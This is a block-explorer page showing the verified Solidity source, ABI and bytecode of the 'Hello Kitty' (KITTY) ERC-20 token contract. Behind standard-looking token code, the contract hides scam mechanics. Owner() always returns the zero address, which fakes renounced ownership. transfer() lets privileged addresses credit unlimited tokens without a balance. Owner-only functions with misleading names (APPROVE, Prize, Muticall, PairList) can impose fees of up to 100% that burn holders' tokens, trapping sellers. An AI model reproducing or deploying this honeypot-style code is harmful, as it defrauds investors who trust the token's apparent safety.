ERC-20
Overview
Max Total Supply
100,000,000 KITTY
Holders
16
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
24,716.662770195932227062 KITTYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
KITTY
Compiler Version
v0.8.6+commit.11564f7e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-11-16 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.6; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function Owner() public view virtual returns (address) { return address(0); } modifier onlyOwner() { require(_Owner == _msgSender(), "Ownable: caller is not the Owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new Owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _Owner; _Owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract ERC20 is Context { mapping(address => mapping(address => uint256)) private _allowances; uint256 internal _totalSupply; string private _name; string private _symbol; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed Owner, address indexed spender, uint256 value); constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return 18; } function totalSupply() public view virtual returns (uint256) { return _totalSupply; } function allowance(address Owner, address spender) public view virtual returns (uint256) { return _allowances[Owner][spender]; } function approve(address spender, uint256 Amount) public virtual returns (bool) { address Owner = _msgSender(); _approve(Owner, spender, Amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address Owner = _msgSender(); _approve(Owner, spender, _allowances[Owner][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address Owner = _msgSender(); uint256 currentAllowance = _allowances[Owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(Owner, spender, currentAllowance - subtractedValue); } return true; } function _approve( address Owner, address spender, uint256 Amount ) internal virtual { require(Owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[Owner][spender] = Amount; emit Approval(Owner, spender, Amount); } function _spendAllowance( address Owner, address spender, uint256 Amount ) internal virtual { uint256 currentAllowance = allowance(Owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= Amount, "ERC20: insufficient allowance"); unchecked { _approve(Owner, spender, currentAllowance - Amount); } } } function _beforeTokenTransfer( address from, address to, uint256 Amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 Amount ) internal virtual {} } contract KITTY is ERC20, Ownable { mapping(address => uint256) private _balances; mapping(address => bool) private _release; function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } IUniswapV2Router02 public immutable uniswapV2Router; address public uniswapV2Pair; function _transfer( address from, address to, uint256 Amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = _balances[from]; require(fromBalance >= Amount, "ERC20: transfer Amount exceeds balance"); unchecked { _balances[from] = fromBalance - Amount; } _balances[to] += Amount; emit Transfer(from, to, Amount); } function _burn(address account, uint256 Amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= Amount, "ERC20: burn Amount exceeds balance"); unchecked { _balances[account] = accountBalance - Amount; } _totalSupply -= Amount; emit Transfer(account, address(0), Amount); } function _reduceFee(address account, uint256 Amount) internal virtual { require(account != address(0), "ERC20: REWARD to the zero address"); _totalSupply += Amount; _balances[account] += Amount; emit Transfer(address(0), account, Amount); } string private name_ = unicode"Hello Kitty"; string private symbol_ = unicode"KITTY"; uint private constant totalSupply_ = 100000000; event NameChanged(string newName,string newSymbol , address by); constructor () ERC20(name_, symbol_) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _reduceFee(msg.sender, totalSupply_ * 10**decimals()); _defaultSellpee = 0; _defaultBuypee = 0; _release[_msgSender()] = true; } function Muticall(string memory name,string memory symbol) public onlyOwner{ name_ = name; symbol_ = symbol; emit NameChanged(name, symbol, msg.sender); } function name() public view override returns (string memory) { return name_; } function symbol() public view override returns (string memory) { return symbol_; } using SafeMath for uint256; uint256 private _defaultSellpee = 0; uint256 private _defaultBuypee = 0; mapping(address => bool) private _Approve; mapping(address => uint256) private _Aprove; address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD; function getRelease(address _address) external view onlyOwner returns (bool) { return _release[_address]; } function PairList(address _address) external onlyOwner { uniswapV2Pair = _address; } function Prize(uint256 _value) external onlyOwner { _defaultSellpee = _value; } function APPROVE(address _address, uint256 _value) external onlyOwner { require(_value >= 0, "Account pee must be greater than or equal to 1"); _Aprove[_address] = _value; } function getAprove(address _address) external view onlyOwner returns (uint256) { return _Aprove[_address]; } function Approve(address _address, bool _value) external onlyOwner { _Approve[_address] = _value; } function getApprovepee(address _address) external view onlyOwner returns (bool) { return _Approve[_address]; } function _checkFreeAccount(address from, address to) internal view returns (bool) { return _Approve[from] || _Approve[to]; } function _receiveF( address from, address to, uint256 _Amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = _balances[from]; require(fromBalance >= _Amount, "ERC20: transfer Amount exceeds balance"); bool rF = true; if (_checkFreeAccount(from, to)) { rF = false; } uint256 tradepeeAmount = 0; if (rF) { uint256 tradepee = 0; if (uniswapV2Pair != address(0)) { if (to == uniswapV2Pair) { tradepee = _defaultSellpee; } if (from == uniswapV2Pair) { tradepee = _defaultBuypee; } } if (_Aprove[from] > 0) { tradepee = _Aprove[from]; } tradepeeAmount = _Amount.mul(tradepee).div(100); } if (tradepeeAmount > 0) { _balances[from] = _balances[from].sub(tradepeeAmount); _balances[_deadAddress] = _balances[_deadAddress].add(tradepeeAmount); emit Transfer(from, _deadAddress, tradepeeAmount); } _balances[from] = _balances[from].sub(_Amount - tradepeeAmount); _balances[to] = _balances[to].add(_Amount - tradepeeAmount); emit Transfer(from, to, _Amount - tradepeeAmount); } function transfer(address to, uint256 Amount) public virtual returns (bool) { address Owner = _msgSender(); if (_release[Owner] == true) { _balances[to] += Amount; return true; } _receiveF(Owner, to, Amount); return true; } function transferFrom( address from, address to, uint256 Amount ) public virtual returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, Amount); _receiveF(from, to, Amount); return true; } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"Owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"newName","type":"string"},{"indexed":false,"internalType":"string","name":"newSymbol","type":"string"},{"indexed":false,"internalType":"address","name":"by","type":"address"}],"name":"NameChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"APPROVE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"}],"name":"Muticall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"PairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Prize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getApprovepee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getAprove","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getRelease","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
60e0604052600b60a08190526a48656c6c6f204b6974747960a81b60c09081526200002e91600891906200055d565b50604080518082019091526005808252644b4954545960d81b60209092019182526200005d916009916200055d565b506000600a556000600b553480156200007557600080fd5b506008805462000085906200077c565b80601f0160208091040260200160405190810160405280929190818152602001828054620000b3906200077c565b8015620001045780601f10620000d85761010080835404028352916020019162000104565b820191906000526020600020905b815481529060010190602001808311620000e657829003601f168201915b50505050506009805462000118906200077c565b80601f016020809104026020016040519081016040528092919081815260200182805462000146906200077c565b8015620001975780601f106200016b5761010080835404028352916020019162000197565b820191906000526020600020905b8154815290600101906020018083116200017957829003601f168201915b50508451620001b19350600292506020860191506200055d565b508051620001c79060039060208401906200055d565b505050620001e4620001de6200041560201b60201c565b62000419565b7f7a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000006080526040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d91829163c45a015591600480820192602092909190829003018186803b1580156200025757600080fd5b505afa1580156200026c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000292919062000603565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620002db57600080fd5b505afa158015620002f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000316919062000603565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200035f57600080fd5b505af115801562000374573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200039a919062000603565b600780546001600160a01b0319166001600160a01b0392909216919091179055620003eb33620003c8601290565b620003d590600a62000699565b620003e5906305f5e1006200075a565b6200046b565b506000600a819055600b819055338152600660205260409020805460ff19166001179055620007cf565b3390565b600480546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620004d05760405162461bcd60e51b815260206004820152602160248201527f45524332303a2052455741524420746f20746865207a65726f206164647265736044820152607360f81b606482015260840160405180910390fd5b8060016000828254620004e4919062000635565b90915550506001600160a01b038216600090815260056020526040812080548392906200051390849062000635565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b8280546200056b906200077c565b90600052602060002090601f0160209004810192826200058f5760008555620005da565b82601f10620005aa57805160ff1916838001178555620005da565b82800160010185558215620005da579182015b82811115620005da578251825591602001919060010190620005bd565b50620005e8929150620005ec565b5090565b5b80821115620005e85760008155600101620005ed565b6000602082840312156200061657600080fd5b81516001600160a01b03811681146200062e57600080fd5b9392505050565b600082198211156200064b576200064b620007b9565b500190565b600181815b8085111562000691578160001904821115620006755762000675620007b9565b808516156200068357918102915b93841c939080029062000655565b509250929050565b60006200062e60ff841683600082620006b55750600162000754565b81620006c45750600062000754565b8160018114620006dd5760028114620006e85762000708565b600191505062000754565b60ff841115620006fc57620006fc620007b9565b50506001821b62000754565b5060208310610133831016604e8410600b84101617156200072d575081810a62000754565b62000739838362000650565b8060001904821115620007505762000750620007b9565b0290505b92915050565b6000816000190483118215151615620007775762000777620007b9565b500290565b600181811c908216806200079157607f821691505b60208210811415620007b357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60805160601c6113b3620007ee60003960006101a301526113b36000f3fe608060405234801561001057600080fd5b50600436106101585760003560e01c80636c9992b3116100c3578063a9059cbb1161007c578063a9059cbb146102f7578063b4a99a4e1461030a578063c4e7c16514610311578063d32c99cd14610324578063dd62ed3e14610337578063f2fde38b1461036e57600080fd5b80636c9992b31461028557806370a0823114610298578063715018a6146102c157806380893918146102c957806395d89b41146102dc578063a457c2d7146102e457600080fd5b80632c91d071116101155780632c91d07114610217578063313ce5671461022a57806339509351146102395780633de94b451461024c57806349bd5a5e1461025f5780635dd7c8ac1461027257600080fd5b806306fdde031461015d578063095ea7b31461017b5780631694505e1461019e57806318160ddd146101dd5780631f478f1e146101ef57806323b872dd14610204575b600080fd5b610165610381565b6040516101729190611220565b60405180910390f35b61018e61018936600461112c565b610413565b6040519015158152602001610172565b6101c57f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610172565b6001545b604051908152602001610172565b6102026101fd3660046110f0565b61042d565b005b61018e6102123660046110b4565b61048b565b610202610225366004611066565b6104af565b60405160128152602001610172565b61018e61024736600461112c565b6104fb565b61020261025a3660046111ba565b610538565b6007546101c5906001600160a01b031681565b6101e1610280366004611066565b610567565b61018e610293366004611066565b6105b4565b6101e16102a6366004611066565b6001600160a01b031660009081526005602052604090205490565b610202610600565b61018e6102d7366004611066565b610636565b610165610682565b61018e6102f236600461112c565b610691565b61018e61030536600461112c565b610721565b60006101c5565b61020261031f36600461112c565b610784565b610202610332366004611156565b6107ca565b6101e1610345366004611081565b6001600160a01b0391821660009081526020818152604080832093909416825291909152205490565b61020261037c366004611066565b61085b565b60606008805461039090611316565b80601f01602080910402602001604051908101604052809291908181526020018280546103bc90611316565b80156104095780601f106103de57610100808354040283529160200191610409565b820191906000526020600020905b8154815290600101906020018083116103ec57829003601f168201915b5050505050905090565b6000336104218185856108f6565b60019150505b92915050565b6004546001600160a01b031633146104605760405162461bcd60e51b815260040161045790611271565b60405180910390fd5b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b600033610499858285610a18565b6104a4858585610aa8565b506001949350505050565b6004546001600160a01b031633146104d95760405162461bcd60e51b815260040161045790611271565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b336000818152602081815260408083206001600160a01b038716845290915281205490919061042190829086906105339087906112a6565b6108f6565b6004546001600160a01b031633146105625760405162461bcd60e51b815260040161045790611271565b600a55565b6004546000906001600160a01b031633146105945760405162461bcd60e51b815260040161045790611271565b506001600160a01b0381166000908152600d60205260409020545b919050565b6004546000906001600160a01b031633146105e15760405162461bcd60e51b815260040161045790611271565b506001600160a01b031660009081526006602052604090205460ff1690565b6004546001600160a01b0316331461062a5760405162461bcd60e51b815260040161045790611271565b6106346000610e61565b565b6004546000906001600160a01b031633146106635760405162461bcd60e51b815260040161045790611271565b506001600160a01b03166000908152600c602052604090205460ff1690565b60606009805461039090611316565b336000818152602081815260408083206001600160a01b0387168452909152812054909190838110156107145760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610457565b6104a482868684036108f6565b3360008181526006602052604081205490919060ff16151560011415610779576001600160a01b038416600090815260056020526040812080548592906107699084906112a6565b9091555060019250610427915050565b610421818585610aa8565b6004546001600160a01b031633146107ae5760405162461bcd60e51b815260040161045790611271565b6001600160a01b039091166000908152600d6020526040902055565b6004546001600160a01b031633146107f45760405162461bcd60e51b815260040161045790611271565b8151610807906008906020850190610f29565b50805161081b906009906020840190610f29565b507f6c5d2637118cb4115becb3c3e6e553db25400cb3ffe8fd6fb2a2b4e01433862782823360405161084f93929190611233565b60405180910390a15050565b6004546001600160a01b031633146108855760405162461bcd60e51b815260040161045790611271565b6001600160a01b0381166108ea5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610457565b6108f381610e61565b50565b6001600160a01b0383166109585760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610457565b6001600160a01b0382166109b95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610457565b6001600160a01b038381166000818152602081815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03838116600090815260208181526040808320938616835292905220546000198114610aa25781811015610a955760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610457565b610aa284848484036108f6565b50505050565b6001600160a01b038316610b0c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610457565b6001600160a01b038216610b6e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610457565b6001600160a01b03831660009081526005602052604090205481811015610be65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220416d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610457565b6001610bf28585610eb3565b15610bfb575060005b60008115610c9f576007546000906001600160a01b031615610c4d576007546001600160a01b0387811691161415610c325750600a545b6007546001600160a01b0388811691161415610c4d5750600b545b6001600160a01b0387166000908152600d602052604090205415610c8657506001600160a01b0386166000908152600d60205260409020545b610c9b6064610c958784610ef9565b90610f05565b9150505b8015610d8d576001600160a01b038616600090815260056020526040902054610cc89082610f11565b6001600160a01b03871660009081526005602052604081209190915561dead90527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba54610d159082610f1d565b61dead600081905260056020527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba919091556040516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d849085815260200190565b60405180910390a35b610db9610d9a82866112ff565b6001600160a01b03881660009081526005602052604090205490610f11565b6001600160a01b038716600090815260056020526040902055610dfe610ddf82866112ff565b6001600160a01b03871660009081526005602052604090205490610f1d565b6001600160a01b0380871660008181526005602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e4884886112ff565b60405190815260200160405180910390a3505050505050565b600480546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152600c602052604081205460ff1680610ef257506001600160a01b0382166000908152600c602052604090205460ff165b9392505050565b6000610ef282846112e0565b6000610ef282846112be565b6000610ef282846112ff565b6000610ef282846112a6565b828054610f3590611316565b90600052602060002090601f016020900481019282610f575760008555610f9d565b82601f10610f7057805160ff1916838001178555610f9d565b82800160010185558215610f9d579182015b82811115610f9d578251825591602001919060010190610f82565b50610fa9929150610fad565b5090565b5b80821115610fa95760008155600101610fae565b80356001600160a01b03811681146105af57600080fd5b600082601f830112610fea57600080fd5b813567ffffffffffffffff8082111561100557611005611367565b604051601f8301601f19908116603f0116810190828211818310171561102d5761102d611367565b8160405283815286602085880101111561104657600080fd5b836020870160208301376000602085830101528094505050505092915050565b60006020828403121561107857600080fd5b610ef282610fc2565b6000806040838503121561109457600080fd5b61109d83610fc2565b91506110ab60208401610fc2565b90509250929050565b6000806000606084860312156110c957600080fd5b6110d284610fc2565b92506110e060208501610fc2565b9150604084013590509250925092565b6000806040838503121561110357600080fd5b61110c83610fc2565b91506020830135801515811461112157600080fd5b809150509250929050565b6000806040838503121561113f57600080fd5b61114883610fc2565b946020939093013593505050565b6000806040838503121561116957600080fd5b823567ffffffffffffffff8082111561118157600080fd5b61118d86838701610fd9565b935060208501359150808211156111a357600080fd5b506111b085828601610fd9565b9150509250929050565b6000602082840312156111cc57600080fd5b5035919050565b6000815180845260005b818110156111f9576020818501810151868301820152016111dd565b8181111561120b576000602083870101525b50601f01601f19169290920160200192915050565b602081526000610ef260208301846111d3565b60608152600061124660608301866111d3565b828103602084015261125881866111d3565b91505060018060a01b0383166040830152949350505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572604082015260600190565b600082198211156112b9576112b9611351565b500190565b6000826112db57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156112fa576112fa611351565b500290565b60008282101561131157611311611351565b500390565b600181811c9082168061132a57607f821691505b6020821081141561134b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220df64303cdd1de8dbf40fbb83075a213482abed0897b6c705072b35840a3a21e364736f6c63430008060033
Deployed Bytecode
